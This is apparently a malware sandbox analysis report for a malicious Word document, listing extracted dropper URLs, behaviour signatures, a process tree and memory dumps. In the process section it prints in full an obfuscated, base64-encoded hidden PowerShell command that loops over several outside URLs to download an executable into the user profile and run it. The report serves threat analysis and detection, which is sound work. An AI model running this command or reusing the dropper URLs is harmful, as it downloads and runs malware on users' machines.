Overview

overview

10

task1

 

10

task2

 

10

Analysis

  • max time kernel
    113s
  • resource
    win7v191014
  • submitted
    01/01/2020, 12:29

Sharing

Copy URL
Twitter E-mail

General

  • Target

    Malware Samples(2).zip

  • Sample

    200101-1ltvh4rn42

  • SHA256

    560d99887286ea550542c684b208ab356394e22d45571c64765653543fbf1dd3

Score
10/10
evasionspywaretrojan

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

https://maelkajangcanopy.com/wp-admin/JBiRPnVvr/
exe.dropper

https://stylewebcruze.online/images/WLReuvW/
exe.dropper

https://stperformance.co.uk/wp-admin/toubufsC/
exe.dropper

http://jandmadventuring.servermaintain.com/wp-content/uploads/cjy4-j423i30-616378266/
exe.dropper

https://www.liuxuebook.com/wp-content/BEtxnxQWn/

Signatures

  • Drops file in System32 directory 4 IoCs
  • Modifies registry class 144 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Process spawned unexpected child process 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Modifies system certificate store 2 TTPs 3 IoCs
    evasionspywaretrojan
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\VTDLd0e4b059d5c97b52ec3da799066cf7a7.danger.doc"
    1⤵
    • Drops file in System32 directory
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of FindShellTrayWindow
    PID:1424
  • C:\Windows\SYSTEM32\WISPTIS.EXE
    /QuitInfo:0000000000000384;0000000000000674;
    1⤵
    • Suspicious use of SetWindowsHookEx
    PID:2036
  • C:\Windows\SYSTEM32\WISPTIS.EXE
    /QuitInfo:0000000000000384;0000000000000674;
    1⤵
    • Suspicious use of SetWindowsHookEx
    PID:1780
  • C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe
    Powershell -w hidden -en JABIAGIAbABvAHQAbwBnAHYAPQAnAFYAcQByAG0AbgBqAHYAagBjAGUAYwB3ACcAOwAkAFkAZQB5AHUAeABtAGYAdQBjAGkAcQBwAGIAIAA9ACAAJwA0ADkAOAAnADsAJABLAG8AbAB6AG8AcgBxAHgAdQBtAD0AJwBUAG0AagByAGoAaQBjAGMAdgBuAGgAcAB6ACcAOwAkAFAAagBuAGkAZQBnAHIAdAB3AHUAaABsAGkAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAFkAZQB5AHUAeABtAGYAdQBjAGkAcQBwAGIAKwAnAC4AZQB4AGUAJwA7ACQAWQByAHoAawBvAHQAYgBqAGEAPQAnAEEAYQBmAHQAeAB6AGgAagBiAHgAcwBtACcAOwAkAFcAdABiAHgAZAB1AGYAYgB6AGoAPQAuACgAJwBuAGUAJwArACcAdwAnACsAJwAtAG8AYgBqAGUAYwB0ACcAKQAgAG4ARQB0AC4AdwBFAEIAYwBsAGkAZQBOAFQAOwAkAEEAbgBqAHgAdQBkAHUAeQBuAGsAPQAnAGgAdAB0AHAAcwA6AC8ALwBtAGEAZQBsAGsAYQBqAGEAbgBnAGMAYQBuAG8AcAB5AC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwBKAEIAaQBSAFAAbgBWAHYAcgAvACoAaAB0AHQAcABzADoALwAvAHMAdAB5AGwAZQB3AGUAYgBjAHIAdQB6AGUALgBvAG4AbABpAG4AZQAvAGkAbQBhAGcAZQBzAC8AVwBMAFIAZQB1AHYAVwAvACoAaAB0AHQAcABzADoALwAvAHMAdABwAGUAcgBmAG8AcgBtAGEAbgBjAGUALgBjAG8ALgB1AGsALwB3AHAALQBhAGQAbQBpAG4ALwB0AG8AdQBiAHUAZgBzAEMALwAqAGgAdAB0AHAAOgAvAC8AagBhAG4AZABtAGEAZAB2AGUAbgB0AHUAcgBpAG4AZwAuAHMAZQByAHYAZQByAG0AYQBpAG4AdABhAGkAbgAuAGMAbwBtAC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvAHUAcABsAG8AYQBkAHMALwBjAGoAeQA0AC0AagA0ADIAMwBpADMAMAAtADYAMQA2ADMANwA4ADIANgA2AC8AKgBoAHQAdABwAHMAOgAvAC8AdwB3AHcALgBsAGkAdQB4AHUAZQBiAG8AbwBrAC4AYwBvAG0ALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AQgBFAHQAeABuAHgAUQBXAG4ALwAnAC4AIgBzAGAAcABsAEkAVAAiACgAJwAqACcAKQA7ACQASgBvAHIAdwBnAHYAYQB0AGsAcgBmAD0AJwBRAGcAcgBjAGoAdwBvAGgAJwA7AGYAbwByAGUAYQBjAGgAKAAkAFUAdQBkAHAAYQBjAGgAdQBoACAAaQBuACAAJABBAG4AagB4AHUAZAB1AHkAbgBrACkAewB0AHIAeQB7ACQAVwB0AGIAeABkAHUAZgBiAHoAagAuACIARABPAHcAbgBMAG8AYABBAGAARABGAGAASQBMAEUAIgAoACQAVQB1AGQAcABhAGMAaAB1AGgALAAgACQAUABqAG4AaQBlAGcAcgB0AHcAdQBoAGwAaQApADsAJABDAHAAaQBpAHEAdABpAGYAZQBnAHcAZQBlAD0AJwBUAGEAdQBoAHAAbgBuAGMAeABxACcAOwBJAGYAIAAoACgAJgAoACcARwBlAHQAJwArACcALQBJAHQAZQAnACsAJwBtACcAKQAgACQAUABqAG4AaQBlAGcAcgB0AHcAdQBoAGwAaQApAC4AIgBsAGUAbgBHAGAAVABIACIAIAAtAGcAZQAgADIAMgAyADYAMgApACAAewBbAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoAIgBzAHQAYABBAHIAVAAiACgAJABQAGoAbgBpAGUAZwByAHQAdwB1AGgAbABpACkAOwAkAEoAcQBlAGcAaAByAG8AaAB5AG4AawBhAD0AJwBBAHAAZgBtAGIAaABxAHAAdwB0ACcAOwBiAHIAZQBhAGsAOwAkAEsAcABuAGsAcgBuAGoAbwB3AG8AYgA9ACcATQB3AGYAdgBtAGsAaABuAGEAbQBuAHMAZQAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABEAHUAdQBrAGcAdABoAHoAPQAnAFYAeABxAG4AcQBtAG4AcABvAG8AawAnAA==
    1⤵
    • Drops file in System32 directory
    • Suspicious use of AdjustPrivilegeToken
    • Process spawned unexpected child process
    • Suspicious behavior: EnumeratesProcesses
    PID:1992

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads

  • memory/1424-0-0x0000000006300000-0x0000000006304000-memory.dmp

    Filesize

    16KB

    Download

  • memory/1424-1-0x0000000006300000-0x0000000006500000-memory.dmp

    Filesize

    2.0MB

    Download

  • memory/1424-2-0x0000000006300000-0x0000000006500000-memory.dmp

    Filesize

    2.0MB

    Download

  • memory/1424-3-0x0000000009610000-0x0000000009614000-memory.dmp

    Filesize

    16KB

    Download